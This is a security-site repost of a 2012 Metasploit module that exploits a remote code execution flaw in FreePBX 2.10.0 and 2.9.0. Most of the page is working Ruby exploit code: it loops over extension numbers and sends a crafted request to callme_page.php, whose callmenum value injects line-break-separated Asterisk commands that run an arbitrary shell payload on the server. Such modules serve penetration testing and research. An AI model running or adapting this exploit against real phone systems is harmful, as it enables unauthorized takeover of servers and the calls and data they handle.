首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution
来源:http://www.metasploit.com 作者:muts 发布时间:2012-03-26  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ManualRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',
   'Description'    => %q{
    This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
    Due to the way callme_page.php handles the 'callmenum' parameter, it
    is possible to inject code to the '$channel' variable in function
    callme_startcall in order to gain remote code execution.

    Please note in order to use this module properly, you must know the
    extension number, which can be enumerated or bruteforced, or you may
    try some of the default extensions such as 0 or 200.  Also, the call
    has to be answered (or go to voice).

    Tested on both Elastix and FreePBX ISO image installs.
   },
   'Author'         => [ 'muts','Martin Tschirsich' ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/18649/' ]
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 20 2012'))

  register_options(
   [
    OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),
   ], self.class)
 end

 def exploit
  # Check range input
  if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/
   min = $1.to_i
   max = $2.to_i
  else
   print_error("Please specify a range for option 'EXTENSION'")
   return
  end

  cmd = Rex::Text.uri_encode(payload.encoded)

  (min..max).each do |e|
   connect
   print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")
   res = send_request_raw({
    'method' => 'GET',
    'uri' => "/recordings/misc/callme_page.php?action=c&callmenum="+e.to_s+"@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",
    'version' => '1.0',
    'vhost'   => rhost
   })
   handler
   disconnect
  end
 end

end

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ricoh DC DL-10 SR10 FTP USER C
·PHP 5.4.0 Built-in Web Server
·mmPlayer 2.2 (.ppl) Local Buff
·Pale Moon Web Browser v11.0 (M
·mmPlayer 2.2 (.m3u) Local Buff
·Microsoft Games Chess.exe DOS
·phpFox <= 3.0.1 (ajax.php) Rem
·Apache Struts2 Local Code Exec
·Spotify 0.8.2.610 (search func
·FreePBX 2.10.0 / Elastix 2.2.0
·UltraVNC 1.0.2 Client (vncview
·ZyXEL FTP service Remote DDoS
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved